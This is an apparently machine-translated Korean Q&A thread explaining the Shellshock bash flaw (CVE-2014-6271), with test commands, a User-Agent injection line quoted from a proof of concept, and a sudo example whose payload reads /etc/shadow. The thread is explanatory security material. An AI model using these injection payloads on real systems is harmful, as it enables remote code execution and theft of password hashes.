CVE-2014-6271 Bash 취약점 예 [중복]

CVE-2014-6271 Bash 취약점 예 [중복]

나는 가능한 보안 문제를 이해하려고 노력하고 CVE-2014-6271있으며 내가 보는 모든 링크는 다음 명령만 제공합니다.

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

내가 얻는 결과가 다음과 같다면

vulnerable
this is a test

이는 내 bash 쉘이 취약하다는 것을 의미합니다.

그런데 그것이 보안과 무슨 관계가 있는 걸까요? 즉, 내 시스템에 어떤 피해가 가해질까요?

답변1

보안 문제는 bash가 악의적인 환경 변수 세트로 시작되면 bash가 해당 변수의 코드를 실행한다는 것입니다.

예를 들어, 호출이 있다고 가정해 보겠습니다 . 이 애플리케이션도 호출되는 환경 변수를 사용 하고 해당 변수의 값이 사용자 제공 입력에서 나온다고 /bin/foo bar가정해 보겠습니다 . 그래서 웹 서버 애플리케이션이 환경을 설정한 다음 쉘이 이에 액세스합니다 . 환경 변수를 읽을 때 제공된 변수에 악성 코드가 있으면 실행됩니다.foobazfoo barbashbash

일반적으로 이는 문제가 되지 않습니다. 환경 변수는 완전히 안전해야 합니다. 변수를 사용하는 애플리케이션이 오작동하는 경우 이는 또 다른 이야기입니다. 그러나 위의 경우에는 bash변수가 사용되지 않습니다.baz

예를 들어:

테스트 스크립트.sh

export BAZ='() { :;}; echo MALICIOUS CODE'
echo starting sleep
/bin/bash -c 'sleep 1'

실행하면 다음 정보를 얻습니다.

$ /bin/dash testscript.sh
starting sleep
MALICIOUS CODE

따라서 이 변수를 설정하기만 하면 bash에게 임의의 코드를 실행하도록 지시할 수 있습니다.

 

다음은 명시적인 쉘을 사용하지 않고 bash를 언급하지 않은 또 다른 예입니다.

$ perl -e '$ENV{"BAZ"}="() { :;}; echo MALICIOUS CODE"; print("starting sleep\n"); system("/bin/sleep 1;");'
starting sleep
MALICIOUS CODE

(이것이 작동하려면 /bin/shbash가 필요합니다)

답변2

이 사람들은 웹 서버 CGI 프로세스에 코드를 삽입하는 방법을 설명합니다. 기본적으로 공격 코드가 포함되도록 요청의 사용자 에이전트를 설정하여 작동합니다.

http://packetstormsecurity.com/files/128394/bash-poc.txt

'header'  => 'User-Agent: () { :;}; /bin/bash -c "'.$cmd.'"'

공격이 성공하면 웹 서버 권한을 사용하여 웹 서버에 접근할 수 있으며 해당 웹 서버의 전체 콘텐츠가 손상된 것으로 간주됩니다.

답변3

다음과 같은 경우 sudo를 통해 실행할 수도 있습니다.환경 재설정비활성화됨(적어도 Debian에서는 기본적으로 활성화되어 있음)

Defaults env_reset

하지만 다음과 같이 바꾸면

Defaults !env_reset(과거 여러 시스템에서 이것을 본 적이 있습니다!!!)

그 다음에

sudo Y='() { disabled; }; /bin/cat /etc/shadow;' /tmp/zomg.sh

루트: $6$......`
여기에 분할 오류가 나타납니다.

sudoers 파일에는 다음이 포함됩니다.

알린 ALL=/tmp/zomg.sh

관련 정보